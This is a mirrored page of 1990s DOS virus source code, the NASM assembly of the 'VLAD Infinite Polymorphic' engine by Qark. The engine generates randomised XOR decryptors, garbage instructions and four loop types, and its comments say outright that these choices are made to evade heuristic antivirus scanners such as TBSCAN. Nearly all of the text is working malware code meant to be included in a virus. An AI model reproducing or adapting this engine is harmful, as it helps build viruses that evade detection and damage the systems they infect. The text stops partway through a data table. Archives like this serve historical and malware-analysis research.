mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-25 12:55:28 +00:00
1242 lines
30 KiB
NASM
1242 lines
30 KiB
NASM
|
||
;
|
||
; VLAD Infinite Polymorphic - VIP
|
||
; by Qark - VLAD
|
||
;
|
||
; This engine is good in some respects, and poor in others.
|
||
; The encryption it creates is fairly easy to crack, being a looping
|
||
; xor with a keychange (all registers/values chosen at random),
|
||
; but the encryption loops are very hard to detect. There are four
|
||
; different loop types, of which TBSCAN can only find two.
|
||
;
|
||
; At the start of the decryptor, the engine won't produce some instructions
|
||
; that flag heuristics. For this reason, VIP avoids alot of the heuristic
|
||
; problems most other garbage generators have. For example:
|
||
; Doesn't produce INC/DEC in the first 20 bytes to avoid flags.
|
||
; Doesn't produce memory operations in the first 10 bytes.
|
||
; Doesn't produce XCHG in the first 10 bytes.
|
||
; Always uses the short version of instructions (AX/AL Imm etc)
|
||
;
|
||
; One problem that couldn't be avoided is the creation of FFFF word pointers
|
||
; causing crashes. The likelihood of them occurring is low (about 1 in 300
|
||
; samples) because danger instructions have been put to a minimum.
|
||
; (eg mov ax,[bx-1] bx=0, isn't produced anymore).
|
||
;
|
||
; If you're wondering why the polymorphism produced isn't changing, that's
|
||
; because it's an example of slow polymorphism.
|
||
;
|
||
; To assemble, use it as an include file for the program that calls it.
|
||
;
|
||
|
||
|
||
VIP:
|
||
;On entry:
|
||
; AL = 1 if COM file
|
||
; DS:SI = Points to the unencrypted virus
|
||
; ES:DI = Place to store encrypted virus
|
||
; CX = length of virus
|
||
; BP = delta offset
|
||
; Assumes CS=DS=ES
|
||
;On return:
|
||
; CX = length of decryptor + encrypted code
|
||
|
||
cld
|
||
mov word ptr saved_cx,cx
|
||
mov word ptr saved_di,di
|
||
mov word ptr saved_si,si
|
||
mov byte ptr segtype,al
|
||
mov byte ptr inloop,0 ;Initialise variable
|
||
|
||
;Initialise our randomisation for slow polymorphism.
|
||
call init_rand
|
||
|
||
;Clear the register table
|
||
|
||
call unmark_all
|
||
|
||
;Clear the displacements
|
||
call clear_displacement
|
||
|
||
;Select a random decryption type.
|
||
rand_routine:
|
||
call get_rand
|
||
mov si,offset dec_type
|
||
and ax,3*2
|
||
add si,ax
|
||
mov ax,word ptr [si]
|
||
jmp ax
|
||
|
||
Standard:
|
||
;Uses 'standard' encryption.
|
||
; ----This is a basic layout of the decryptor----
|
||
; mov pointer,offset virus_start
|
||
; mov cipher,xorval
|
||
; loop:
|
||
; xor word ptr pointer,cipher
|
||
; inc pointer
|
||
; inc pointer
|
||
; cmp pointer,virus_start+virlength
|
||
; jne loop
|
||
; virus_start:
|
||
; -----------------------------------------------
|
||
|
||
call startup ;Setup pointer and cipher
|
||
|
||
mov byte ptr inloop,1
|
||
mov word ptr loopstart,di
|
||
|
||
call encrypt_type
|
||
|
||
or al,0f8h
|
||
mov ah,al
|
||
mov al,81h ;CMP pointer,xxxx
|
||
stosw
|
||
|
||
call round_up
|
||
add ax,word ptr pointer1val
|
||
stosw
|
||
|
||
call handle_jne ;JNE xx
|
||
call calc_jne
|
||
|
||
mov byte ptr inloop,0
|
||
|
||
;Calculate the displacement
|
||
call fix_displacements
|
||
|
||
call encrypt_virus
|
||
|
||
call decryptor_size
|
||
|
||
ret
|
||
|
||
Stack1:
|
||
;Use the stack method for encryption. This method doesnt work on EXE's
|
||
;because SS <> CS.
|
||
; ----This is a basic layout of the decryptor----
|
||
; mov sp,offset virus_start
|
||
; mov cipher,xor_val
|
||
; loop:
|
||
; pop reg
|
||
; xor reg,cipher
|
||
; push reg
|
||
; pop randomreg
|
||
; cmp sp,virus_start+virus_length
|
||
; jne loop
|
||
; -----------------------------------------------
|
||
|
||
cmp byte ptr segtype,0
|
||
jne stack1_ok
|
||
jmp rand_routine
|
||
stack1_ok:
|
||
call rand_garbage
|
||
call rand_garbage
|
||
mov al,0bch ;MOV SP,xxxx
|
||
stosb
|
||
mov word ptr displace,di
|
||
mov ax,bp
|
||
stosw
|
||
|
||
call setup_cipher
|
||
|
||
mov byte ptr inloop,1
|
||
mov word ptr loopstart,di
|
||
|
||
call select_reg
|
||
call rand_garbage
|
||
push ax
|
||
or al,58h ;POP reg
|
||
stosb
|
||
call rand_garbage
|
||
|
||
mov al,33h ;XOR reg,reg
|
||
stosb
|
||
|
||
pop ax
|
||
push ax
|
||
push cx
|
||
mov cl,3
|
||
shl al,3
|
||
or al,byte ptr cipher
|
||
or al,0c0h
|
||
stosb
|
||
pop cx
|
||
|
||
call rand_garbage
|
||
|
||
pop ax
|
||
or al,50h ;PUSH reg
|
||
stosb
|
||
|
||
call rand_garbage
|
||
next_pop:
|
||
call get_rand
|
||
call check_reg
|
||
jc next_pop
|
||
and al,7
|
||
or al,58h ;POP reg (=add sp,2)
|
||
stosb
|
||
|
||
call rand_garbage
|
||
|
||
mov ax,0fc81h ;CMP SP,xxxx
|
||
stosw
|
||
mov word ptr displace2,di
|
||
|
||
call round_up
|
||
add ax,bp
|
||
stosw
|
||
|
||
call handle_jne
|
||
call calc_jne
|
||
|
||
mov byte ptr inloop,0
|
||
|
||
mov al,0bch ;mov sp,0fffeh
|
||
stosb
|
||
mov ax,0fffeh
|
||
stosw
|
||
|
||
call rand_garbage
|
||
|
||
;Calculate the displacement
|
||
call fix_displacements
|
||
|
||
mov si,word ptr saved_si
|
||
mov cx,word ptr saved_cx
|
||
inc cx
|
||
shr cx,1
|
||
mov bx,word ptr xorval
|
||
enc_stack1:
|
||
lodsw
|
||
xor ax,bx
|
||
stosw
|
||
loop enc_stack1
|
||
|
||
call decryptor_size
|
||
|
||
ret
|
||
|
||
Call_Enc:
|
||
;Uses recursive calls to decrypt the virus. Needs a big stack or else it will
|
||
;crash.
|
||
; ----This is a basic layout of the decryptor----
|
||
; mov pointer,offset virus_start
|
||
; mov cipher,xorval
|
||
; loop:
|
||
; cmp pointer,virus_start+virus_length
|
||
; jne small_dec
|
||
; ret
|
||
; small_dec:
|
||
; xor word ptr pointer,cipher
|
||
; inc pointer
|
||
; inc pointer
|
||
; call loop
|
||
; add sp,virus_length-2
|
||
; -----------------------------------------------
|
||
|
||
call startup
|
||
|
||
mov byte ptr inloop,1
|
||
|
||
mov word ptr loopback,di
|
||
call rand_garbage
|
||
|
||
mov al,byte ptr pointer
|
||
or al,0f8h
|
||
mov ah,al
|
||
mov al,81h ;CMP pointer,xxxx
|
||
stosw
|
||
|
||
call round_up
|
||
add ax,word ptr pointer1val
|
||
stosw
|
||
|
||
call handle_jne
|
||
|
||
mov word ptr loopf,di
|
||
stosb
|
||
|
||
call rand_garbage
|
||
|
||
mov al,0c3h ;RET
|
||
stosb
|
||
|
||
call rand_garbage
|
||
|
||
mov ax,di ;Fix the JNE.
|
||
mov si,word ptr loopf
|
||
inc si
|
||
sub ax,si
|
||
dec si
|
||
mov byte ptr [si],al
|
||
|
||
call encrypt_type
|
||
|
||
mov al,0e8h ;CALL xxxx
|
||
stosb
|
||
mov ax,di
|
||
inc ax
|
||
inc ax
|
||
sub ax,word ptr loopback
|
||
neg ax
|
||
stosw
|
||
|
||
mov byte ptr inloop,0
|
||
|
||
call rand_garbage
|
||
|
||
mov ax,0c481h
|
||
stosw
|
||
mov ax,word ptr saved_cx
|
||
dec ax
|
||
dec ax
|
||
stosw
|
||
|
||
call rand_garbage
|
||
|
||
;Calculate the displacement
|
||
call fix_displacements
|
||
|
||
call encrypt_virus
|
||
|
||
call decryptor_size
|
||
|
||
ret
|
||
|
||
Call_Enc2:
|
||
;Decrypts the virus from within a call.
|
||
; ----This is a basic layout of the decryptor----
|
||
; mov pointer,offset virus_start
|
||
; mov cipher,xorval
|
||
; call decrypt
|
||
; jmp short virus_start
|
||
; decrypt:
|
||
; xor pointer,cipher
|
||
; inc pointer
|
||
; inc pointer
|
||
; cmp pointer,virus_start+viruslength
|
||
; jne decrypt
|
||
; ret
|
||
; -----------------------------------------------
|
||
|
||
call startup
|
||
|
||
mov byte ptr inloop,1
|
||
|
||
mov al,0e8h ;CALL xxxx
|
||
stosb
|
||
stosw
|
||
mov word ptr loopf16,di
|
||
|
||
call rand_garbage
|
||
|
||
mov al,0e9h ;JMP xxxx
|
||
stosb
|
||
mov word ptr displace2,di
|
||
; mov ax,di
|
||
; inc ax
|
||
; inc ax
|
||
; sub ax,saved_di
|
||
; neg ax
|
||
stosw
|
||
|
||
call rand_garbage
|
||
call rand_garbage
|
||
|
||
mov ax,di
|
||
mov si,word ptr loopf16
|
||
sub ax,si
|
||
mov word ptr [si-2],ax
|
||
|
||
mov word ptr loopstart,di
|
||
|
||
call encrypt_type
|
||
|
||
or al,0f8h
|
||
mov ah,al
|
||
mov al,81h ;CMP pointer,xxxx
|
||
stosw
|
||
|
||
call round_up
|
||
add ax,word ptr pointer1val
|
||
stosw
|
||
|
||
call handle_jne
|
||
call calc_jne
|
||
|
||
mov al,0c3h ;ret
|
||
stosb
|
||
|
||
mov byte ptr inloop,0
|
||
|
||
call rand_garbage
|
||
|
||
mov ax,di
|
||
mov si,word ptr displace2
|
||
sub ax,si
|
||
dec ax
|
||
dec ax
|
||
mov [si],ax
|
||
mov word ptr displace2,0
|
||
|
||
call rand_garbage
|
||
|
||
;Calculate the displacement
|
||
call fix_displacements
|
||
|
||
call encrypt_virus
|
||
|
||
call decryptor_size
|
||
|
||
ret
|
||
|
||
db 'VIP V1.0 by Qark/VLAD'
|
||
|
||
|
||
;All the different encryption types
|
||
dec_type dw offset stack1
|
||
dw offset call_enc
|
||
dw offset call_enc2
|
||
dw offset standard
|
||
|
||
segtype db 0 ;1 if com file
|
||
saved_cx dw 0 ;the initial CX
|
||
saved_di dw 0 ;the initial DI
|
||
saved_si dw 0
|
||
|
||
displace dw 0
|
||
displace2 dw 0
|
||
dw 0
|
||
|
||
displaceb dw 0
|
||
|
||
inloop db 0 ;=1 if inside a loop else 0
|
||
;if set no 'word ptr' instructions made
|
||
loopstart dw 0 ;for backwards 8 bit
|
||
loopf dw 0 ;for forwards 8 bit
|
||
loopback dw 0 ;backwards 16 bit
|
||
loopf16 dw 0 ;forwards 16 bit
|
||
xorval dw 0
|
||
|
||
cipher db 0
|
||
|
||
r_m db 0 ;The r-m of the pointer
|
||
|
||
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
;General routines, used universally
|
||
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
Check_Reg:
|
||
;Returns a carry if the register in lower 3 bits of al is bad
|
||
push ax
|
||
push si
|
||
and ax,7
|
||
mov si,offset reg
|
||
add si,ax
|
||
cmp byte ptr [si],0
|
||
pop si
|
||
pop ax
|
||
je ok_reg
|
||
stc
|
||
ret
|
||
ok_reg:
|
||
clc
|
||
ret
|
||
; ax,cx,dx,bx,sp,bp,si,di
|
||
reg db 00,00,00,00,01,00,00,00
|
||
|
||
Mark_Reg:
|
||
;Mark a register as used, AL=reg
|
||
push ax
|
||
push si
|
||
and ax,7
|
||
mov si,offset reg
|
||
add si,ax
|
||
mov byte ptr [si],1
|
||
pop si
|
||
pop ax
|
||
ret
|
||
|
||
UnMark_All:
|
||
;Clears the register table, and sets SP
|
||
push ax
|
||
push di
|
||
push cx
|
||
mov di,offset reg
|
||
mov al,0
|
||
mov cx,8
|
||
cs:
|
||
rep stosb
|
||
mov byte ptr cs:[reg+4],1 ;set sp
|
||
pop cx
|
||
pop di
|
||
pop ax
|
||
ret
|
||
|
||
Clear_Displacement:
|
||
;Clears all the displacement variables
|
||
push di
|
||
push ax
|
||
mov di,offset displace
|
||
xor ax,ax
|
||
stosw
|
||
stosw
|
||
stosw
|
||
stosw
|
||
stosw
|
||
pop ax
|
||
pop di
|
||
ret
|
||
|
||
Select_Pointer:
|
||
;Select an r-m as a pointer, you must call this routine before reserving
|
||
;any registers. Updates the variable r_m.
|
||
push ax
|
||
push si
|
||
call get_rand
|
||
and ax,7
|
||
mov byte ptr r_m,al
|
||
|
||
call index_2_pointer
|
||
mov al,byte ptr [si]
|
||
call mark_reg
|
||
inc si
|
||
mov al,byte ptr [si]
|
||
cmp al,0
|
||
je no_pointer2
|
||
call mark_reg
|
||
no_pointer2:
|
||
pop si
|
||
pop ax
|
||
ret
|
||
|
||
Setup_Pointer:
|
||
;Sets up the registers specified in the r-m with random values. These
|
||
;values are put into the variable 'pointval'.
|
||
;Moves the instructions into ES:DI.
|
||
push ax
|
||
push si
|
||
|
||
call rand_garbage
|
||
|
||
call index_2_pointer
|
||
mov al,byte ptr [si]
|
||
mov byte ptr pointer,al
|
||
or al,0b8h ;MOV REG,xxxx
|
||
stosb
|
||
call get_rand
|
||
stosw
|
||
mov word ptr pointval,ax
|
||
mov word ptr pointer1val,ax
|
||
|
||
call rand_garbage
|
||
|
||
mov al,byte ptr [si+1]
|
||
cmp al,0
|
||
je no_setupp2
|
||
|
||
or al,0b8h ;MOV REG,xxxx
|
||
stosb
|
||
|
||
call get_rand
|
||
stosw
|
||
add word ptr pointval,ax
|
||
|
||
call rand_garbage
|
||
|
||
no_setupp2:
|
||
|
||
pop si
|
||
pop ax
|
||
ret
|
||
|
||
Index_2_Pointer:
|
||
;Sets SI to the 'pointers' table of the r_m
|
||
push ax
|
||
xor ax,ax
|
||
mov al,byte ptr r_m
|
||
shl ax,1
|
||
mov si,offset pointers
|
||
add si,ax
|
||
pop ax
|
||
ret
|
||
|
||
pointer db 0 ;the first register
|
||
pointer1val dw 0 ;the value of the first register
|
||
pointval dw 0
|
||
Pointers db 3,6 ;[bx+si]
|
||
db 3,7 ;[bx+di]
|
||
db 5,6 ;[bp+si]
|
||
db 5,7 ;[bp+di]
|
||
db 6,0 ;[si]
|
||
db 7,0 ;[di]
|
||
db 5,0 ;[bp]
|
||
db 3,0 ;[bx]
|
||
|
||
Select_Reg:
|
||
;Reserves a random register, and passes it out in AL
|
||
;AH is destroyed
|
||
call get_rand
|
||
call check_reg
|
||
jc select_reg
|
||
and al,7
|
||
call mark_reg
|
||
ret
|
||
|
||
Setup_Reg:
|
||
;Puts the value specified in BX, into the register specified in AL.
|
||
;-Needs Fixing- to add a possible SUB, and also the garbage generation needs
|
||
;to produce the same add/sub opcodes.
|
||
|
||
push ax
|
||
push bx
|
||
|
||
call rand_garbage
|
||
|
||
and al,7
|
||
push ax
|
||
or al,0b8h ;MOV reg,xxxx
|
||
stosb
|
||
|
||
call get_rand
|
||
|
||
sub bx,ax
|
||
stosw
|
||
|
||
call rand_garbage
|
||
|
||
pop ax
|
||
cmp al,0
|
||
jne long_addreg
|
||
mov al,5 ;ADD AX,xxxx
|
||
stosb
|
||
jmp short finish_add
|
||
long_addreg:
|
||
or al,0c0h
|
||
mov ah,al
|
||
mov al,81h
|
||
stosw ;ADD reg,xxxx
|
||
finish_add:
|
||
mov ax,bx
|
||
stosw
|
||
|
||
call rand_garbage
|
||
|
||
pop bx
|
||
pop ax
|
||
ret
|
||
|
||
Seg_Override:
|
||
;Puts the correct segment before a memory write. The memory write must be
|
||
;called immediately afterwards.
|
||
push ax
|
||
cmp byte ptr segtype,1
|
||
je no_segset
|
||
mov al,2eh ;CS:
|
||
stosb
|
||
no_segset:
|
||
pop ax
|
||
ret
|
||
|
||
Fix_Pointer:
|
||
;Fixes up the mod/rm field of a pointer instruction. Before this routine
|
||
;is called, the opcode field has already been stosb'd. eg for xor, 31h has
|
||
;been put into the current es:[di-1].
|
||
;on entry AL=register
|
||
;The displacement field (the following 2 bytes) must be fixed up manually.
|
||
|
||
push ax
|
||
push bx
|
||
push cx
|
||
|
||
mov cl,3
|
||
shl al,cl
|
||
or al,byte ptr r_m
|
||
or al,80h
|
||
stosb
|
||
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
ret
|
||
|
||
Dec_Inc_Reg:
|
||
;Inc/Dec's the reg in AL. AH= 0=inc 1=dec
|
||
;No garbage generators are called in this routine, because the flags
|
||
;may be important.
|
||
push ax
|
||
mov byte ptr dec_inc,ah
|
||
call get_rand
|
||
test al,1
|
||
pop ax
|
||
push ax
|
||
jnz do_inc_dec
|
||
cmp al,0 ;check for ax
|
||
jne not_ax_incdec
|
||
mov ax,0ff05h ;ADD AX,ffff = DEC AX
|
||
cmp byte ptr dec_inc,0
|
||
jne fdec1
|
||
mov al,2dh ;SUB
|
||
fdec1:
|
||
stosw
|
||
mov al,0ffh
|
||
stosb
|
||
pop ax
|
||
ret
|
||
not_ax_incdec:
|
||
cmp byte ptr dec_inc,0
|
||
je fdec2
|
||
or al,0c0h
|
||
jmp short fdec3
|
||
fdec2:
|
||
or al,0e8h
|
||
fdec3:
|
||
mov ah,al
|
||
mov al,83h ;ADD reg,ffff = DEC reg
|
||
stosw
|
||
mov al,0ffh
|
||
stosb
|
||
pop ax
|
||
ret
|
||
do_inc_dec:
|
||
or al,40h ;INC reg
|
||
cmp byte ptr dec_inc,0
|
||
je fdec4
|
||
or al,8
|
||
fdec4:
|
||
stosb
|
||
pop ax
|
||
ret
|
||
dec_inc db 0 ;0=inc 1=dec
|
||
|
||
Round_Up:
|
||
;Rounds up the number in saved_cx to the nearest 2 and passes it out in AX.
|
||
mov ax,word ptr saved_cx
|
||
inc ax
|
||
shr ax,1
|
||
shl ax,1
|
||
mov word ptr saved_cx,ax
|
||
ret
|
||
|
||
Fix_Displacements:
|
||
;Adds the size of the produced decyptors to the data listed in the
|
||
;displacement variables. 0 Values signal the end.
|
||
;DI=The final length of the 'decryptor'
|
||
|
||
push ax
|
||
push si
|
||
|
||
mov ax,di
|
||
sub ax,word ptr saved_di
|
||
push di
|
||
mov si,offset displace
|
||
disp_loop:
|
||
cmp word ptr [si],0
|
||
je last_displacement
|
||
mov di,[si]
|
||
add [di],ax
|
||
inc si
|
||
inc si
|
||
jmp short disp_loop
|
||
last_displacement:
|
||
pop di
|
||
pop si
|
||
pop ax
|
||
ret
|
||
|
||
Rand_Garbage:
|
||
;Generates 1-4 garbage instructions.
|
||
push ax
|
||
call get_rand
|
||
and ax,07h
|
||
push cx
|
||
mov cx,ax
|
||
inc cx
|
||
start_garbage:
|
||
call select_garbage
|
||
loop start_garbage
|
||
pop cx
|
||
pop ax
|
||
ret
|
||
|
||
Select_Garbage:
|
||
;Selects a garbage routine to goto
|
||
|
||
call get_rand
|
||
and ax,14
|
||
push si
|
||
mov si,offset calls
|
||
add si,ax
|
||
mov ax,word ptr [si]
|
||
pop si
|
||
jmp ax
|
||
|
||
calls dw offset Make_Inc_Dec
|
||
dw offset Imm2Reg
|
||
dw offset Rand_Instr
|
||
dw offset Mov_Imm
|
||
dw offset Make_Xchg
|
||
dw offset Rand_Instr
|
||
dw offset Mov_Imm
|
||
dw offset Imm2Reg
|
||
|
||
Make_Inc_Dec:
|
||
;Puts a word INC/DEC in ES:DI
|
||
;eg INC AX
|
||
; DEC BP
|
||
|
||
mov ax,di
|
||
sub ax,word ptr saved_di
|
||
cmp ax,15
|
||
ja not_poly_start ;inc/dec in the first 20 bytes, flags
|
||
ret
|
||
not_poly_start:
|
||
call get_rand
|
||
call check_reg
|
||
jc make_inc_dec
|
||
and al,0fh
|
||
or al,40h
|
||
|
||
test al,8
|
||
jnz calc_dec
|
||
|
||
stosb
|
||
ret
|
||
calc_dec:
|
||
mov ah,al
|
||
and al,7
|
||
cmp al,2
|
||
ja Make_Inc_Dec
|
||
mov al,ah
|
||
stosb
|
||
ret
|
||
|
||
Fix_Register:
|
||
;AX=random byte, where the expected outcome is ah=opcode al=mod/rm
|
||
;Carry is set if bad register. Word_Byte is updated to show word/byte.
|
||
test ah,1
|
||
jnz word_garbage
|
||
mov byte ptr word_byte,0
|
||
call check_breg
|
||
jmp short byte_garbage
|
||
word_garbage:
|
||
mov byte ptr word_byte,1
|
||
call check_reg
|
||
byte_garbage:
|
||
ret
|
||
word_byte db 0 ;1=word, 0 = byte
|
||
|
||
|
||
Imm2Reg:
|
||
;Immediate to register.
|
||
call get_rand
|
||
call fix_register
|
||
jc imm2reg
|
||
test al,7 ;AX/AL arent allowed (causes heuristics)
|
||
jz imm2ax
|
||
xchg al,ah
|
||
and al,3
|
||
cmp al,2 ;signed byte is bad
|
||
je imm2reg
|
||
or al,80h
|
||
or ah,0c0h
|
||
stosw
|
||
test al,2 ;signed word
|
||
jnz ione_stosb
|
||
call get_rand
|
||
cmp byte ptr word_byte,1
|
||
jne ione_stosb
|
||
stosb
|
||
ione_stosb:
|
||
call get_rand
|
||
stosb
|
||
ret
|
||
imm2ax:
|
||
xchg ah,al
|
||
and al,3dh
|
||
or al,4
|
||
stosw
|
||
test al,1
|
||
jnz ione_stosb
|
||
ret
|
||
|
||
Rand_Instr:
|
||
;Creates a whole stack of instructions.
|
||
;and,or,xor,add,sub,adc,cmp,sbb
|
||
|
||
mov ax,di
|
||
sub ax,word ptr saved_di
|
||
cmp ax,10
|
||
ja not_poly_start2 ;in the first 20 bytes, flags G
|
||
ret
|
||
not_poly_start2:
|
||
call get_rand
|
||
;Inloop stops xxx xx,word ptr [xxxx] instructions inside the
|
||
;loops. It changes them to 'byte ptr' which stops the ffff crash
|
||
;problem.
|
||
cmp byte ptr inloop,1
|
||
jne ok_words
|
||
and ah,0feh
|
||
ok_words:
|
||
call fix_register
|
||
jc rand_instr
|
||
push cx
|
||
mov cl,3
|
||
rol al,cl
|
||
pop cx
|
||
xchg ah,al
|
||
and al,039h
|
||
or al,2 ;set direction flag
|
||
stosb
|
||
mov al,ah
|
||
and al,0c0h
|
||
cmp al,0c0h
|
||
je zerobytedisp
|
||
cmp al,0
|
||
je checkdisp
|
||
cmp al,80h
|
||
je twobytedisp
|
||
;sign extended
|
||
mov al,ah
|
||
stosb
|
||
negative_value:
|
||
call get_rand
|
||
cmp al,0ffh
|
||
je negative_value
|
||
stosb
|
||
ret
|
||
twobytedisp:
|
||
mov al,ah
|
||
stosb
|
||
call get_rand
|
||
stosw
|
||
ret
|
||
checkdisp:
|
||
push ax
|
||
and ah,7
|
||
cmp ah,6
|
||
pop ax
|
||
je twobytedisp
|
||
zerobytedisp:
|
||
mov al,ah
|
||
stosb
|
||
ret
|
||
|
||
Mov_Imm:
|
||
;Puts a MOV immediate instruction.
|
||
call get_rand
|
||
test al,8
|
||
jnz word_mov
|
||
call check_breg
|
||
jmp short mov_check
|
||
word_mov:
|
||
call check_reg
|
||
mov_check:
|
||
jc mov_imm
|
||
and al,0fh
|
||
or al,0b0h
|
||
stosb
|
||
test al,8
|
||
jnz mov_word
|
||
call get_rand
|
||
stosb
|
||
ret
|
||
mov_word:
|
||
call get_rand
|
||
stosw
|
||
ret
|
||
|
||
Init_Rand:
|
||
;Initialises the Get_Rand procedure.
|
||
push ax
|
||
push cx
|
||
push dx
|
||
push si
|
||
push ds
|
||
mov si,1
|
||
mov ax,0ffffh ;Get word from ROM BIOS.
|
||
mov ds,ax
|
||
mov ax,word ptr [si]
|
||
pop ds
|
||
mov word ptr randseed,ax
|
||
call get_rand
|
||
push ax
|
||
mov ah,2ah ;Get Date.
|
||
int 21h ;call int21h
|
||
pop ax
|
||
add ax,cx
|
||
xor ax,dx
|
||
mov word ptr randseed,ax
|
||
call get_rand
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop ax
|
||
ret
|
||
|
||
Get_Rand:
|
||
;Gets a random number in AX.
|
||
push cx
|
||
push dx
|
||
mov ax,word ptr randseed
|
||
mov cx,ax
|
||
mov dx,ax
|
||
and cx,1ffh
|
||
or cl,01fh
|
||
propogate:
|
||
add dx,ax
|
||
mul dx
|
||
add ax,4321h
|
||
neg ax
|
||
ror dx,1
|
||
loop propogate
|
||
mov word ptr randseed,ax
|
||
|
||
pop dx
|
||
pop cx
|
||
ret
|
||
randseed dw 0
|
||
|
||
Make_Xchg:
|
||
mov ax,di
|
||
sub ax,word ptr saved_di
|
||
cmp ax,10
|
||
ja not_poly_start3 ;inc/dec in the first 20 bytes, flags
|
||
ret
|
||
not_poly_start3:
|
||
|
||
call get_rand
|
||
call fix_register
|
||
jc make_xchg
|
||
push cx
|
||
mov cl,3
|
||
rol al,cl
|
||
pop cx
|
||
call fix_register
|
||
jc make_xchg
|
||
test ah,1
|
||
jz xchg_8bit
|
||
test al,7
|
||
jz xchg_ax2
|
||
test al,38h
|
||
jz xchg_ax1
|
||
xchg_8bit:
|
||
and ax,13fh
|
||
or ax,86c0h
|
||
xchg ah,al
|
||
stosw
|
||
ret
|
||
xchg_ax1:
|
||
and al,7
|
||
or al,90h
|
||
stosb
|
||
ret
|
||
xchg_ax2:
|
||
push cx
|
||
mov cl,3
|
||
ror al,cl
|
||
pop cx
|
||
jmp short xchg_ax1
|
||
|
||
Check_bReg:
|
||
;Checks if an 8bit reg is used or not.
|
||
;AL=register
|
||
push ax
|
||
and al,3
|
||
call check_reg
|
||
pop ax
|
||
ret
|
||
|
||
Decryptor_Size:
|
||
;Calculate the size of the decryptor + code
|
||
;Entry: DI=everything done
|
||
;Exit : CX=total decryptor length
|
||
|
||
mov cx,di
|
||
sub cx,word ptr saved_di
|
||
ret
|
||
|
||
Setup_Cipher:
|
||
;Randomly selects a cipher register and initialises it with a value.
|
||
;Puts the register into the variable 'cipher' and the value into 'xorval'
|
||
|
||
call rand_garbage
|
||
call get_rand
|
||
mov bx,ax
|
||
mov word ptr xorval,ax
|
||
call select_reg
|
||
mov byte ptr cipher,al
|
||
call setup_reg
|
||
call rand_garbage
|
||
ret
|
||
|
||
Startup:
|
||
;Does the most common startup procedures. Puts some garbage, and sets
|
||
;up the pointer register.
|
||
|
||
call rand_garbage
|
||
call rand_garbage
|
||
call select_pointer ;Setup pointer
|
||
call setup_pointer
|
||
|
||
call setup_cipher
|
||
ret
|
||
|
||
Handle_JNE:
|
||
;Randomly puts either JNE or JB at ES:DI.
|
||
;Must be called after the CMP instruction.
|
||
push ax
|
||
push si
|
||
|
||
;Test to make sure our pointer isnt going +ffff, if so, only use
|
||
;jne, not jnb.
|
||
call round_up
|
||
add ax,word ptr pointer1val
|
||
jnc random_jne
|
||
mov al,75h
|
||
jmp short unrandom_jne
|
||
random_jne:
|
||
|
||
call get_rand
|
||
and ax,1
|
||
mov si,offset jne_table
|
||
add si,ax
|
||
mov al,byte ptr [si]
|
||
unrandom_jne:
|
||
stosb
|
||
pop si
|
||
pop ax
|
||
ret
|
||
|
||
jne_table db 75h ;JNE/JNZ
|
||
db 72h ;JB/JNAE
|
||
|
||
Calc_JNE:
|
||
;Calculates the distance needed to JMP backwards and puts it into ES:DI.
|
||
;On entry DI points to the byte after a JNE/JB instruction
|
||
; and 'loopstart' contains the offset of the loop.
|
||
|
||
push ax
|
||
mov ax,di
|
||
inc ax
|
||
sub ax,word ptr loopstart
|
||
neg al
|
||
stosb
|
||
call rand_garbage
|
||
pop ax
|
||
ret
|
||
|
||
Increase_Pointer:
|
||
;Increases the register specified in 'pointer' by two.
|
||
;On exit AL=pointer register.
|
||
|
||
call rand_garbage
|
||
xor ax,ax
|
||
mov al,byte ptr pointer
|
||
call dec_inc_reg
|
||
call rand_garbage
|
||
call dec_inc_reg
|
||
call rand_garbage
|
||
ret
|
||
|
||
Encrypt_Type:
|
||
;Selects the type of encryption and sets everything up.
|
||
call rand_garbage
|
||
call seg_override
|
||
|
||
call rand3
|
||
mov al,byte ptr [si+1]
|
||
mov byte ptr encbyte,al
|
||
|
||
mov al,byte ptr [si] ;The instruction from 'enc_table'
|
||
stosb
|
||
|
||
mov al,byte ptr cipher
|
||
call fix_pointer
|
||
mov word ptr displace,di
|
||
|
||
mov ax,bp
|
||
sub ax,word ptr pointval
|
||
stosw
|
||
|
||
call rand_garbage
|
||
|
||
call rand3
|
||
mov al,byte ptr [si+2]
|
||
or al,0c3h
|
||
mov byte ptr encb2,al
|
||
|
||
cmp byte ptr cipher,0
|
||
jne fix_16imm
|
||
mov al,byte ptr [si+2]
|
||
or al,5
|
||
stosb
|
||
jmp short set_imm
|
||
|
||
fix_16imm:
|
||
mov al,81h
|
||
stosb
|
||
mov al,byte ptr [si+2]
|
||
or al,0c0h
|
||
or al,byte ptr cipher
|
||
stosb
|
||
|
||
set_imm:
|
||
call get_rand
|
||
stosw
|
||
|
||
mov word ptr encval2,ax
|
||
|
||
call increase_pointer
|
||
|
||
ret
|
||
|
||
enc_table db 31h ;XOR ;Direct word operation
|
||
db 33h ;XOR reg,reg ;Undo..
|
||
db 30h
|
||
|
||
db 01h ;ADD
|
||
db 2bh ;SUB reg,reg
|
||
db 0 ;ADD
|
||
